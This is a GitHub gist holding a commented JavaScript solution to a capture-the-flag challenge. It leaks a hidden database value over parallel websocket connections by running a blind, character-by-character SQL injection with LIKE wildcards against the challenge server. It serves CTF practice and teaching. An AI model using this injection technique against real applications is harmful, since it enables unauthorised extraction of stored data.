Created
November 21, 2023 07:14
-
-
Save r2dev2/347a2692f094921e4c3c83df5b0ad759 to your computer and use it in GitHub Desktop.
Heavily commented solution to leak sql table of bug report repo of 1337CTF
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// waits until a condition is met by polling every 2 ms | |
// i did not want to actually write truly async code, i just wanted something that | |
// works in a reasonable amount of time | |
const wait_until = (cond) => new Promise((res, rej) => { | |
const interval = setInterval(() => { | |
if (cond()) { | |
clearInterval(interval); | |
res(); | |
} | |
}, 2); | |
}); | |
// my wrapper around websocket to make a request | |
let opened = 0; | |
const Sock = () => { | |
const ws = new WebSocket('wss://bountyrepo.ctf.intigriti.io/ws'); | |
ws.onopen = () => { | |
console.log('opened', opened); | |
opened++; | |
} | |
// send a text on the ws and return the response | |
// this should only be called once at the same time for a given Sock() | |
const request = async (query) => { | |
let data = ''; | |
const onmsg = (e) => { | |
data = e.data | |
}; | |
ws.addEventListener('message', onmsg); | |
ws.send(query); | |
await wait_until(() => data.length > 0); | |
ws.removeEventListener('message', onmsg); | |
return data; | |
} | |
return { request }; | |
} | |
// python's string.printable | |
const alpha = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ '; | |
let flag = ''; | |
// spawn a websocket for every letter of the alphabet | |
// we need to parallelize because I started the ctf very late and the exploit was taking | |
// too long to run serially | |
const connections = Array(alpha.length).fill(0).map(() => Sock()); | |
var test_next_letter = async (letter, socket) => { | |
// make sure to escape each letter with \ because '_' and '%' are wildcards | |
// and match everything | |
letter = '\\' + letter; | |
var query = `'11' AND description like '${flag}${letter}%' ESCAPE '\\' --`; | |
// resp will include ethical_hacker if the bug is found | |
// and will say "bug not found" if the bug is not found | |
const resp = await socket.request(JSON.stringify({ id: query })); | |
return resp.includes('ethical_hacker'); | |
} | |
(async () => { | |
try { | |
await wait_until(() => opened == alpha.length); | |
// { <- that opening bracket is to make my vim bracket parsing shut up | |
while (!flag.includes('}')) { | |
// log the progress in case we lose it | |
console.log(flag.replace(/\\/g, '')); | |
// get an array of bools of which letters are correct | |
const correct = await Promise.all([...alpha].map((a, i) => { | |
return test_next_letter(a, connections[i]); | |
})); | |
if (correct.every(x => !x)) { | |
console.log('No correct options found :sadg:'); | |
flag += '_'; | |
// it should break but in the ctf, i said continue, oh well it will just require | |
// manual stopping | |
continue; | |
// break; | |
} | |
// find the alpha char corresponding to the index of the first correct | |
const idxs = correct.map((x, i) => [x, i]).filter(x => x[0]).map(x => x[1]); | |
flag += alpha[idxs[0]]; | |
} | |
console.log('done'); | |
} | |
catch (e) { | |
console.error('BAD', e); | |
} | |
})(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment